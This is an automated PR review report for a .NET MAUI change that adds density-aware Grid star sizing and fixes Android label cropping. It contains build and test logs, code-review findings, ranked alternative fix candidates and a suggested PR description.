Passed: 1
Total time: 19.6628 Seconds
>>> TRX_RESULT_FILE: /home/vsts/work/1/s/CustomAgentLogsTmp/UITests/TestResults/Issue28117.trx
🔴 Without fix — 🧪 GridLayoutManagerDensityTests: PASS ❌ · 24s
Determining projects to restore...
Restored /home/vsts/work/1/s/src/TestUtils/src/TestUtils/TestUtils.csproj (in 941 ms).
Restored /home/vsts/work/1/s/src/Core/tests/UnitTests/Core.UnitTests.csproj (in 1.34 sec).
5 of 7 projects are up-to-date for restore.
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
TestUtils -> /home/vsts/work/1/s/artifacts/bin/TestUtils/Debug/netstandard2.0/Microsoft.Maui.TestUtils.dll
Core.UnitTests -> /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)
Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.32] Discovering: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.34] Discovered: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.36] Starting: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.63] Finished: Microsoft.Maui.UnitTests
Passed DensityValue_ThreeEqualColumns_PerfectDivision [21 ms]
Passed DensityValue_FourEqualColumns_WithRemainder [< 1 ms]
Passed DensityValue_WeightedStarSizing_PerfectDivision [< 1 ms]
Passed DensityValue_RemainderPixels_Distribution(totalPixels: 103, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
Passed DensityValue_RemainderPixels_Distribution(totalPixels: 100, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [2 ms]
Passed DensityValue_RemainderPixels_Distribution(totalPixels: 101, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
Passed DensityValue_ThreeEqualColumns_WithRemainder [< 1 ms]
Passed DensityValue_WeightedStarSizing_WithRounding [< 1 ms]
Test Run Successful.
Total tests: 8
Passed: 8
Total time: 2.9583 Seconds
🟢 With fix — 🧪 GridLayoutManagerDensityTests: PASS ✅ · 19s
Determining projects to restore...
All projects are up-to-date for restore.
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
TestUtils -> /home/vsts/work/1/s/artifacts/bin/TestUtils/Debug/netstandard2.0/Microsoft.Maui.TestUtils.dll
Core.UnitTests -> /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll
Test run for /home/vsts/work/1/s/artifacts/bin/Core.UnitTests/Debug/net10.0/Microsoft.Maui.UnitTests.dll (.NETCoreApp,Version=v10.0)
VSTest version 18.0.1 (x64)
Starting test execution, please wait...
A total of 1 test files matched the specified pattern.
[xUnit.net 00:00:00.00] xUnit.net VSTest Adapter v2.8.2+699d445a1a (64-bit .NET 10.0.0)
[xUnit.net 00:00:00.29] Discovering: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.00] Discovered: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.01] Starting: Microsoft.Maui.UnitTests
[xUnit.net 00:00:01.16] Finished: Microsoft.Maui.UnitTests
Passed DensityValue_ThreeEqualColumns_PerfectDivision [19 ms]
Passed DensityValue_FourEqualColumns_WithRemainder [< 1 ms]
Passed DensityValue_WeightedStarSizing_PerfectDivision [< 1 ms]
Passed DensityValue_RemainderPixels_Distribution(totalPixels: 103, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [2 ms]
Passed DensityValue_RemainderPixels_Distribution(totalPixels: 100, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
Passed DensityValue_RemainderPixels_Distribution(totalPixels: 101, density: 1, portions: [1, 1, 1, 1], expectedBase: 25) [< 1 ms]
Passed DensityValue_ThreeEqualColumns_WithRemainder [2 ms]
Passed DensityValue_WeightedStarSizing_WithRounding [< 1 ms]
Test Run Successful.
Total tests: 8
Passed: 8
Total time: 2.7728 Seconds
⚠️ Failure Details
- ❌ WindowHandlerStub PASSED without fix (should fail) — tests don't catch the bug
- ❌ GridLayoutManagerDensityTests PASSED without fix (should fail) — tests don't catch the bug
📁 Fix files reverted (5 files)
eng/pipelines/ci-copilot.ymlsrc/Controls/src/Core/View/View.cssrc/Core/src/Layouts/GridLayoutManager.cssrc/Core/src/Platform/Android/ContextExtensions.cssrc/Core/src/Platform/ElementExtensions.cs
New files (not reverted):
src/Core/src/IViewWithWindow.cssrc/Core/src/Layouts/DensityValue.cs
🧪 UI Tests — Border,Label,Layout,ViewBaseTests
Detected UI test categories: Border,Label,Layout,ViewBaseTests
❌ Deep UI tests — 451 passed, 1 failed across 4 categories on platform-pool agent (replaces in-process counts above).
🧪 UI Test Execution Results (deep, platform pool)
| Category | Tests | Snapshot diffs |
|---|---|---|
Border |
48/48 ✓ | — |
Label |
94/97 (1 ❌) | 7 diff PNGs |
Layout |
191/194 ✓ | — |
ViewBaseTests |
118/119 ✓ | — |
❌ Label — 1 failed test
FontFamily
VisualTestUtils.VisualTestFailedException :
Snapshot different than baseline: LabelUITests_FontFamily_FontAwesome.png (0.53% difference)
If the correct baseline has changed (this isn't a a bug), then update the baseline image.
See test attachment or download the build artifacts to get the new snapshot file.
More info: https://aka.ms/visual-test-workflow
at VisualTestUtils.VisualRegressionTester.Fail(String message) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 162
at VisualTestUtils.VisualRegressionTester.VerifyMatchesSnapshot(String name, ImageSnapshot actualImage, String environmentName, ITestContext testContext) in /_/src/TestUtils/src/VisualTestUtils/VisualRegressionTester.cs:line 123
at Microsoft.Maui.TestCases.Tests.UITest.<VerifyScreenshot>g__Verify|13_0(String name, <>c__DisplayClass13_0&) in /_/src/Controls/tests/TestCases.Shared.Tests/UITest.cs:line 477
at Microsoft.Maui.TestCases.Tests.UITest.VerifyScreenshot(String name, Nullable`1 retryD
...
📎 Download drop-deep-uitests artifact (TRX + snapshot diffs)
🔍 Pre-Flight — Context & Validation
Issue: #28117 - [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values.
PR: #31755 - Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices
Platforms Affected: Android
Files Changed: 16 implementation, 5 test, 554 snapshot
Key Findings
- The linked issue is a verified Android regression where labels inside padded/margined layouts can be clipped on fractional-density devices such as Pixel 7 at 420dpi.
- The PR's functional fix is broad: it introduces
DensityValue, rewrites Grid star sizing to allocate physical pixels, exposesWindow.RequestDisplayDensity()to ControlsView, and changes AndroidContext.ToPixels(Rect)to derive right/bottom from converted origin plus converted size. - The PR also adds Android regression coverage for [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117, device-test support for display density, and a large screenshot refresh set.
- Prior issue discussion included a narrower proposed workaround in
ContextExtensions.ToPixels(Rect): calculate right as converted left plus converted width, and bottom as converted top plus converted height. - Gate was already completed before this phase and reported failed; this pre-flight did not rerun gate verification.
Code Review Summary
Verdict: NEEDS_CHANGES
Confidence: high
Errors: 1 | Warnings: 2 | Suggestions: 0
Key code review findings:
- ❌
src/Core/src/Layouts/GridLayoutManager.cs:932—ExpandStarsnow allocates arrays and uses LINQ (Where(...).ToArray(),Select(...).ToArray(),Sum()) in Grid arrange/layout, a MAUI performance hot path. ⚠️ src/Core/src/Platform/Android/ContextExtensions.cs:144—Context.ToPixels(Rect)uses origin-plus-size rounding, but the siblingView.ToPixels(Rect)overload still convertsRight/Bottomindependently.⚠️ Latest required CI was reported failing by the code-review sub-agent; no CI failure classification was performed in this pre-flight because CI investigation is outside the requested context-only phase.
Failure-mode probes:
- Star Grid dimensions where
targetDp * densityhas a fractional pixel component may underfill or disagree with platform arrange rounding. - Any current or future Android caller of
View.ToPixels(Rect)can still observe right/bottom rounding drift. - Scrolling or templated layouts containing Grids with star definitions may regress due to new per-arrange allocations.
Blast radius: High for Grid because GridLayoutManager is shared by Android, iOS, MacCatalyst, and Windows; narrower for the Android rectangle conversion.
Fix Candidates
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| PR | PR #31755 | Introduces DensityValue for density-aware Grid star sizing and changes Android Context.ToPixels(Rect) to calculate right/bottom from converted left/top plus width/height. |
❌ FAILED (Gate) | DensityValue.cs, GridLayoutManager.cs, ContextExtensions.cs, View.cs, test files, snapshots |
Original PR; broad Grid change plus narrower Android Rect conversion. |
🔬 Code Review — Deep Analysis
Code Review — PR #31755
Independent Assessment
What this changes: Adds a density-aware DensityValue helper and rewrites Grid star arrange sizing to allocate integer physical pixels, updates Android Context.ToPixels(Rect) to compute right/bottom from left/top plus size, exposes window density to Controls View, and adds Android/device/UI regression coverage plus refreshed Android screenshots.
Inferred motivation: Prevent cumulative Android dp-to-pixel rounding from causing adjacent Grid columns or Border/Label content to differ by a pixel, overlap, or crop on fractional-density devices.
Reconciliation with PR Narrative
Author claims: The PR fixes #28117 and #30017 by using pixel-aware Grid star distribution and by calculating rectangle right/bottom from converted origin plus converted size. It also notes #30340 was abandoned after rebase issues.
Agreement/disagreement: The code matches the stated intent, and the new tests target the described Android rounding/cropping scenarios. However, the implementation adds allocations in a layout hot path, and CI is currently not green (maui-pr/Build Analysis failed; Windows Helix Unit Tests Debug and Release failed).
Findings
❌ Error — LINQ allocations in Grid arrange hot path
src/Core/src/Layouts/GridLayoutManager.cs:932 and the proportional branch at :963-984 allocate arrays and enumerate with LINQ (Where(...).ToArray(), Select(...).ToArray(), Sum()) inside ExpandStars, which is called during Grid arrange/layout. This path is covered by the repository performance-hotpath guidance for src/Core/src/Layouts/**; please use indexed loops over defs and accumulate totals without temporary arrays.
⚠️ Warning — Sibling Rect conversion overload remains inconsistent
src/Core/src/Platform/Android/ContextExtensions.cs:144 fixes the public Context.ToPixels(Rect) overload by using left + width/top + height, but the internal View.ToPixels(Rect) overload just above still independently converts rectangle.Right/Bottom. I did not find current callers of the View overload, so this may not affect the reported issue today, but leaving two overloads with different rounding semantics is likely to reintroduce the same drift when the internal overload is used.
⚠️ Warning — Required CI is failing
The latest check runs show maui-pr and Build Analysis failed, with both Run Helix Unit Tests Windows Helix Unit Tests (Debug) and (Release) failing. I could not run the unavailable ci-analysis helper in this environment, so I am not classifying the failures as PR-caused, but the review cannot be LGTM while required CI is red.
Devil's Advocate
The density-aware approach appears directionally correct: converting allocated star widths back to dp should make Android's final ToPixels(frame) recover the intended integer widths. The View.ToPixels(Rect) concern is weaker because current code search found no callers, so it should not block by itself. The hot-path allocation concern is concrete and tied directly to arrange-time code covered by MAUI performance rules.
Verdict: NEEDS_CHANGES
Confidence: high
Summary: The behavioral goal matches the PR narrative, but GridLayoutManager.ExpandStars now allocates during layout arrange, which violates MAUI hot-path guidance and should be rewritten with allocation-free loops. CI is also currently failing, so this is not ready for approval.
🔧 Fix — Analysis & Comparison
Fix Candidates
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| 1 | try-fix-1 | Android-only outward-rounded Rect conversion in both Context.ToPixels(Rect) and View.ToPixels(Rect); removes Grid/DensityValue changes. |
ContextExtensions.cs |
Test runner reached HostApp build but was blocked by stale MAUI build tasks; setup build failed due missing net472 targeting packs. | |
| 2 | try-fix-2 | Conservative Android TextView AtMost measurement using floored pixel constraints. |
ViewHandlerExtensions.Android.cs, ContextExtensions.cs |
Skipped after environment blocker; targets TextView measurement rather than arrange conversion. | |
| 3 | try-fix-3 | Remeasure TextView from final native arrange bounds before layout. | ViewHandlerExtensions.Android.cs |
Skipped after environment blocker; targets TextView measure/arrange mismatch. | |
| 4 | try-fix-4 | Label-specific one-pixel arrange guard preserving measured TextView width. | LabelHandler.Android.cs, ViewHandlerExtensions.Android.cs |
Skipped after environment blocker; narrowest candidate but needs RTL/parent clipping validation. | |
| PR | PR #31755 | Broad DensityValue/Grid star sizing rewrite plus Android Context.ToPixels(Rect) origin+size conversion. |
❌ FAILED (Gate) | Multiple layout/platform/test/snapshot files | Original PR; code review found Grid hot-path allocations and inconsistent Rect overloads. |
Cross-Pollination
| Model | Round | New Ideas? | Details |
|---|---|---|---|
| maui-expert-reviewer | 1 | Yes | Candidate 1: Android-only outward-rounded Rect conversion; narrower than PR and fixes both Rect overloads. |
| maui-expert-reviewer | 2 | Yes | Candidate 2: Conservative TextView AtMost measurement; learns from candidate 1 blocker and avoids Rect conversion variations. |
| maui-expert-reviewer | 2 | Yes | Candidate 3: TextView final remeasure from native bounds; targets measure/arrange mismatch. |
| maui-expert-reviewer | 3 | Yes | Candidate 4: Label-specific measured-width preservation; smallest blast radius. |
| maui-expert-reviewer | 3 | No | Meaningfully different approaches are exhausted: remaining ideas are trivial variations of Rect rounding, TextView measuring, or one-pixel arrange expansion. |
Exhausted: Yes
Selected Fix: None — all alternative candidates were blocked by the local Android HostApp build environment, and the PR's current fix already failed the prior gate. Candidate #4 is the narrowest unvalidated candidate; Candidate #1 best matches the issue's original workaround but has broader Android bounds-conversion impact.
📋 Report — Final Recommendation
Comparative Fix Report — PR #31755
Candidate Ranking
| Rank | Candidate | Regression/Test Status | Assessment |
|---|---|---|---|
| 1 | pr-plus-reviewer |
Targeted density unit tests passed; Android gate not rerun | Best candidate. It preserves the PR's intended density-aware Grid fix while addressing expert-review correctness and performance issues. Test coverage is improved but still needs a proven Android fail-without-fix gate. |
| 2 | try-fix-1 |
Blocked | Narrow Android-only Rect conversion that matches the original workaround direction and fixes both Context.ToPixels(Rect) and View.ToPixels(Rect). It has lower blast radius than the PR but was not validated and may affect all Android native bounds conversion. |
| 3 | try-fix-4 |
Blocked | Narrowest runtime change: preserves Android Label measured width on one-pixel arrange shrink. It directly targets the symptom, but it is label-specific and needs RTL/parent-clipping validation. |
| 4 | try-fix-3 |
Blocked | Remeasures TextView from final native arrange bounds. Plausible for measure/arrange mismatch but broader for all TextView-backed controls using PrepareForTextViewArrange. |
| 5 | try-fix-2 |
Blocked | Conservative TextView AtMost measurement. Could avoid over-measuring text, but risks wrapping/height behavior changes across TextView-backed controls. |
| 6 | pr |
Failed gate | Raw PR failed the supplied gate and has expert-review findings: floored density pixel budget, hot-path LINQ/array allocations, and insufficient regression proof. |
Comparison Notes
The raw PR is broad: it adds DensityValue, rewrites Grid star sizing around display density, exposes window density to Controls View, and changes Android Context.ToPixels(Rect). The approach plausibly addresses fractional-density clipping, but the submitted implementation under-allocates when Android rounds the parent size up and allocates in Grid arrange hot paths.
try-fix-1 is the best independent alternative because it limits the fix to Android rectangle conversion and covers both Rect overloads, but it was blocked before Android validation. The TextView-focused candidates are narrower symptom fixes, yet they carry handler-specific behavioral risks and also lack validation. Because no try-fix candidate passed regression testing, none can outrank a PR-based candidate that has had the expert implementation defects corrected and at least passes the relevant density unit tests.
Winner
pr-plus-reviewer wins. It is the only candidate that combines the PR's intended root-cause direction with applied expert-review fixes and successful targeted unit validation. The Android regression gate still needs to be repaired/proven separately before merge readiness.
📋 Expand PR Finalization Review
Title: ⚠️ Needs Update
Current: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout & Fixed label cropping inside the border control with a specific padding value on certain Android devices
Recommended: [Android] Fix label cropping in Border and Grid star-column pixel gaps via DensityValue layout
Description: ⚠️ Needs Update
Description needs updates. See details below.
✨ Suggested PR Description
[!NOTE]
Are you waiting for the changes in this PR to be merged?
It would be very helpful if you could test the resulting artifacts from this PR and let us know in a comment if this change resolves your issue. Thank you!
Root Cause
Issue #28117 — Label cropping in Border:
ContextExtensions.ToPixels(Context, Rect) was converting each edge of the rectangle independently. Because each double → int cast is rounded separately, the independently converted Right and Bottom values could differ by 1 pixel from Left + Width and Top + Height, causing the content area to be 1px narrower than expected and clipping the label text.
Issue #30017 — Grid star-column pixel gaps:
In high-DPI environments, dividing available dp space across * columns often produces fractional pixel values. MAUI Grid was assigning column sizes via naive double division without accumulating rounding error, resulting in total allocated pixels that differ from the actual container by 1+ pixel — causing layout gaps, overlap, or clipped content.
Description of Change
1. ContextExtensions.ToPixels fix (label cropping — Android only)
Computed right as left + (int)context.ToPixels(rectangle.Width) and bottom as top + (int)context.ToPixels(rectangle.Height) instead of independently converting each edge. This ensures Right and Bottom are always exactly Left+Width and Top+Height in pixel space.
2. New DensityValue struct (src/Core/src/Layouts/DensityValue.cs)
Internal struct that tracks both a dp value and its corresponding physical pixels (RawPx = Dp * Density). Provides arithmetic operators and DistributePixels(totalPixels, density, portions[]) — a static method that allocates pixel counts using floor + right-to-left remainder distribution (matches Android's native behavior):
// 293.4dp × 2.625 density = 770.175px across 3 equal columns
// DistributePixels → [256, 257, 257] = 770px ✓
// Naive rounding → [257, 257, 257] = 771px ✗ (overflow by 1px)
3. Grid star-column density-aware distribution
GridLayoutManager.ExpandStarDefinitions (internal class) now calls GetDensity() to retrieve the window display density, then uses DensityValue.DistributePixels to allocate pixel counts to * columns/rows, eliminating off-by-one errors from independent rounding. GetDensity() returns 1.0 when no window is available (safe fallback for unit tests and pre-attach layout passes).
4. New IViewWithWindow interface (src/Core/src/IViewWithWindow.cs)
Temporary internal interface allowing GridLayoutManager to access IWindow from the grid view without taking a direct dependency on the handler chain. View implements this interface by forwarding its existing Window property.
// TODO Delete this in NET10 and just add it with a default implementation to IView
internal interface IViewWithWindow
{
IWindow? Window { get; }
}5. ElementExtensions.GetWindow improvement
GetWindow(IElement) now checks IViewWithWindow.Window first, then GetHostedWindow(), before falling back to the handler chain — enabling density resolution earlier in the view lifecycle.
Platforms Affected
- Android — primary target; both fixes directly address Android rendering
- All platforms —
DensityValuedistribution is active for any platform whereRequestDisplayDensity()returns a non-1.0 value (including high-DPI Windows). Falls back safely to1.0when no window is available.
Key Technical Details
Density access chain:
GridLayoutManager.GetDensity()
→ (_grid as IViewWithWindow)?.Window
→ IWindow.RequestDisplayDensity()
→ returns 1.0 if unavailable (safe fallback)
Definition.Size and Cell.MeasureWidth/Height changed from double to DensityValue. The implicit DensityValue → double operator returns .Dp, so all downstream code using .Size directly still works. Arithmetic on Definition.Size uses .Dp explicitly in places where only the dp value is needed.
What NOT to Do (for future agents)
- ❌ Don't convert each Rect edge independently — Always compute
right = left + width_pxandbottom = top + height_pxto avoid independent rounding errors - ❌ Don't assign
*column sizes by simpletargetStarSize * weight— UseDensityValue.DistributePixelsto accumulate remainder pixels; naive rounding causes 1px overflow - ❌ Don't access display density from Platform layer directly in GridLayoutManager — The layout manager is in Core and must use
IViewWithWindow/IWindow.RequestDisplayDensity()to stay layer-agnostic
Issues Fixed
Output
Android platform
| Before | After |
|---|---|
![]() |
![]() |
Code Review: ⚠️ Issues Found
Code Review — PR #31755
🔴 Critical Issues
1. ExpandStarDefinitions changed from static to instance method without addressing reviewer feedback
File: src/Core/src/Layouts/GridLayoutManager.cs (line ~845)
Problem: The Copilot auto-reviewer flagged this: the method was originally static void ExpandStarDefinitions(...). Changing it to an instance method breaks internal consistency of the nested GridLayoutManager.GridStructure class, where other helper methods are static. The reviewer's suggestion was to pass density as a parameter instead. This feedback was not addressed.
Recommendation: Restore static and pass density as a parameter:
static void ExpandStarDefinitions(Definition[] definitions, double targetSize, double currentSize,
double spacing, double starCount, bool limitStarSizes, double density)The caller (ResolveStarColumns, ResolveStarRows) can call GetDensity() and pass it in:
var density = GetDensity();
ExpandStarDefinitions(definitions, ..., density);This keeps the helper methods consistent and testable without needing an instance.
🟡 Suggestions
2. Private constructor uses unused discriminator parameter
File: src/Core/src/Layouts/DensityValue.cs
Problem: The private constructor DensityValue(double rawPx, double density, bool fromPixels) uses a bool fromPixels parameter solely to distinguish it from the public DensityValue(double dp, double density) constructor. The fromPixels value is never checked.
// Current - fromPixels is unused
private DensityValue(double rawPx, double density, bool fromPixels)
{
RawPx = rawPx;
Density = density;
}Recommendation: Use a static factory method pattern consistently, removing the confusing private constructor:
// FromPixels already exists as a public static factory - just make the private ctor cleaner
private DensityValue(double rawPx, double density) // Private; always means "from pixels"
{
RawPx = rawPx;
Density = density;
}Or since FromPixels is already a public static factory method that calls this constructor, just make the private constructor take only rawPx and density without the discriminator bool.
3. DensityValue arithmetic operators throw on mismatched density
File: src/Core/src/Layouts/DensityValue.cs
Problem: The + and - operators throw ArgumentException when densities differ and neither is 1.0. The special-casing logic (treat 1.0-density values as same-density) is fragile for future callers who might not realize this constraint.
throw new ArgumentException("Cannot add DensityValues with different densities.");Risk: If any future code path creates two DensityValue instances from different display contexts and adds them, this will throw at runtime with no compile-time warning.
Recommendation: Add XML documentation on the operators clearly stating the constraint, or consider removing the operators and requiring explicit .Dp access for arithmetic, since the implicit conversion to double already provides natural dp-based arithmetic.
4. Missing newline at end of new files
Files: src/Core/src/Layouts/GridLayoutManager.cs, src/Core/src/IViewWithWindow.cs
Problem: Both files end with \ No newline at end of file in the diff. This causes minor Git diff noise and violates standard .NET formatting conventions.
Recommendation: Add a trailing newline to both files.
5. System.Linq added to performance-critical layout code
File: src/Core/src/Layouts/GridLayoutManager.cs
Problem: using System.Linq; was added to use .Where() and .Select() inside ExpandStars, which is called during every layout pass containing * columns/rows. LINQ creates enumerator allocations on the heap.
var starDefinitions = defs.Where(d => d.IsStar).ToArray(); // heap allocation
var portions = starDefinitions.Select(d => targetStarSize * d.GridLength.Value).ToArray(); // heap allocationRecommendation: Replace LINQ with pre-allocated arrays or a manual loop to match the allocation profile of the surrounding code:
// Count first, then fill
int starCount2 = 0;
for (int i = 0; i < defs.Length; i++)
if (defs[i].IsStar) starCount2++;
var starDefinitions = new Definition[starCount2];
var portions = new double[starCount2];
int idx = 0;
for (int i = 0; i < defs.Length; i++)
{
if (defs[i].IsStar)
{
starDefinitions[idx] = defs[i];
portions[idx] = targetStarSize * defs[i].GridLength.Value;
idx++;
}
}✅ Looks Good
-
DensityValue.DistributePixelsalgorithm — Correct implementation of floor + right-to-left remainder distribution. Unit tests accurately cover the 3-column remainder case (770.175px → [256, 257, 257]), perfect division, 4-column case, and weighted star sizing. -
ContextExtensions.ToPixelsfix — Clean, minimal change. Computingright = left + width_pxandbottom = top + height_pxis the correct pattern to avoid independent rounding errors on each edge. -
IViewWithWindowdesign — Reasonable temporary internal interface with a clear TODO comment to integrate it intoIViewin .NET 10. TheGetDensity()fallback to1.0is safe for unit testing and non-window scenarios. -
WindowHandlerStub.Android.cs— Correctly addsRequestDisplayDensityto the CommandMapper so test scenarios can provide a density value. -
UI test for Issue [Android] Labels are cut off when embedded in a layout with non-zero Margin/Padding at specific DPI and screen resolution values. #28117 — Well-structured, follows project conventions, uses screenshot verification appropriately. The
#if !MACCATALYSTguard is justified (references a separate known issue Layout Error: Label height within VerticalStackLayout is truncated when width is set #15559). -
Unit tests —
GridLayoutManagerDensityTest.cstests are focused, self-documenting, and cover all documented scenarios from the proposal (issue Proposal: Adopt DensityValue in Grid to Enable Precise Pixel-Aware Layout #30017).


Note
Are you waiting for the changes in this PR to be merged?
It would be very helpful if you could test the resulting artifacts from this PR and let us know in a comment if this change resolves your issue. Thank you!
Description of Change
Introduces an internal DensityValue struct that tracks both dp and pixel values:
internal readonly struct DensityValue
{
public double Dp => RawPx / Density;
public double Density { get; }
public double RawPx { get; }
}
Enhanced Grid Layout
Modifies GridLayoutManager.ResolveStars() to use density-aware distribution when available, falling back to the original algorithm when density information is unavailable.
Pixel-Perfect Distribution
The DistributePixels method implements Android's approach of accumulating rounding errors and assigning remainder pixels to the final elements:
// 293.4dp × 2.625 density = 770.175px across 3 equal columns
// Result: [256, 257, 257] pixels (total: 770px) ✓
// Instead of: [257, 257, 257] pixels (total: 771px)
To eliminate the pixel difference, the frame's right value was calculated as the sum of the frame's left value and width, while the frame's bottom value was calculated as the sum of the frame's top value and height in the ToPixels conversion method within ContextExtensions.
Issues Fixed
Fixes #28117
Fixes #30017
Closed PR #30340 due to unwanted changes introduced during rebasing, so I am creating this new PR.
Output
Android platform